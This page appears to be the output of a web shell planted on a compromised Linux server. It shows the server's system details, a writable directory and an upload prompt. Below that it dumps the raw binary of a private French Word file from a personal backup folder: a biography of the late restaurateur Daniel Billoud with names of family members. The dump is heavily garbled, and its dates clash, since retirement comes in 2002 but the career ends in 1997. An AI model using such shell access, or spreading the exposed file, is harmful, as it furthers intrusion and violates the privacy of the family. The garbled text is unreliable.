Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/0-Sauvegardes/christiansync/Mes documents/Christian/Courriers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/0-Sauvegardes/christiansync/Mes documents/Christian/Courriers/Le parcours de vie de Daniel BILLOUD.doc
��ࡱ�;��	��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������	

������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Root Entry������������������������������������������������������������������������	

����!"#$����&��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����	�FMicrosoft Word-Dokument
MSWordDocWord.Document.8�9�q
[Z�ZNormal1$*$A$/B*OJQJCJmHsHPJnHtH^JaJ_H2���2Police par d�fautB�BTitre
���x$OJQJCJPJ^JaJ>B>Corps de texted ���"/""Liste^J@"2@L�gende
�x�x$CJ6^JaJ]&�B&Index$^J�
(�����@���@�
�
PG�Times New Roman5�Symbol3&�Ariali�Liberation SerifTimes New RomanS&�Liberation SansArialG�Microsoft YaHei3$�ArialB��h�l��{�'�M�G��
����
��0�0���Monsieur MATHY Christian	Christian	Christian����Oh��+'��0�	PX|�	�
���
��Monsieur MATHY Christian
ChristianNormal.dot14@�@d�pBC�@h��dh�@pn��G�����՜.��+,��D��՜.��+,��\���M 	��0�Caolan80	=(�
������������$9�)b�~$�Parcours de vie de Daniel BILLOUD

********


Fils de L�on Billoud et d Henriette Morel, Daniel est n� le 13 mars 1942, deuxi�me de la fratrie, il avait trois fr�res, Pierre, Jean-Jacques, Alain, et une sSur Mich�le.

Le 3 avril 1956, � l �ge de 14 ans, Daniel commence son apprentissage de cuisinier � l H�tel de l Europe, � Bourg en Bresse. La poursuite de sa formation passe par de c�l�bres restaurants de la r�gion, le Casino de Divonne les Bains, la Pyramide de chez Point � Vienne, l H�tel Bellevue et le restaurant Marquis � Divonne les Bains, enfin, le Pitz � Chamonix.

En 1963, il devient second de cuisine au Chapon Fin � Thoissey, chez Paul Blanc. Son ascension professionnelle l entra�ne � Paris pour devenir chef de cuisine chez Maxim s, puis au Vieil Arbre de Robinson, et � l auberge du Mont Saint Michel chez Louisette. Le rendez-vous des c�l�brit�s o� il a rencontr��: Francis Lopez et son �pouse, Luis Mariano, Andr� Dassarie, Jean-Jacques Debout, Chantal Goya, Sylvie Vartan, Johnny Halliday, Mireille Mathieu, et bien d autres encore.

Il se marie le 7 novembre 1964, � Rosine Bergeron, avec qui, il aura deux filles, Ghislaine et Agn�s. Malheureusement son �pouse d�c�dera le 28 mai 1973. Le 1er d�cembre 1967, Daniel �tait revenu dans l Ain, pour acheter le restaurant Couard � P�ronnas, qu il baptise ��La Grenouille Bressane�� et qu il exploite durant 50 ann�es.

Daniel cuisinait ses d�licieuses grenouilles, fabriquait ses terrines, son foie gras, grand saucier avec les quenelles sauce Nantua, les �crevisses du L�man � l Armoricaine, les ris de veau � la cr�me aux girolles, la poularde de Bresse � la cr�me aux morilles, son coq de Bresse au sang, le civet de sanglier, et bien d autres mets&  Il �tait tr�s appr�ci� d une client�le fran�aise et �trang�re.

Le 21 novembre 1974, il se remarie � Chantal Valet, avec qui, il a eu deux autres filles, Nathalie et St�phanie. 

Dans son restaurant, il a m�me accueilli Miss Pays de l Ain 1997, dont l �lection avait eu lieu � P�ronnas. Il participe au fleurissement de la commune o� il a obtenu plusieurs fois le premier prix ��h�tel-restaurant��.

Ses loisirs favoris �taient la cueillette des champignons, la chasse, la p�che, sans oublier les repas entre amis.

En 2002, c est l heure de sa retraite, Chantal lui succ�de, mais Daniel continue � oeuvrer derri�re son fourneau. L aventure prend fin en d�cembre 1997, Daniel est alors �g� de 75 ans. 

A partir de cette date, la maladie fait son apparition, son �tat se d�grade et l emp�che de profiter de ses proches et de sa retraite.

Il d�c�de le 31 d�cembre 2023, en laissant derri�re lui son �pouse, ses filles, ses gendres, ses petits-enfants et arri�re petits-enfants, sa famille, et ses amis.

                                             
BDFVXZ\�	�	�	���>@B~�������������z|~���JLN��������������������������������CJaJH*CJ$aJ$CJ$aJ$CJ5aJ\CJ$5aJ$\CJ$5aJ$\,DFXZ\�	�	��@��������s[$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$$a$1$*$^�]��`�A$-D��M�
��$a$$a$$a$
@B�����������oW$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
�����|~�������oW$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��LN�����1$*$^���]�u�`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��$a$1$*$^��]��`�A$-D��M�
��;<0@PBP��. ��A!��"��#��$��2P1�h0p3P(20Root Entry��������	�F�	CompObj����jOle
��������1Table������������	SummaryInformation(���� WordDocument������������=(DocumentSummaryInformation8������������%t����������������

SAMX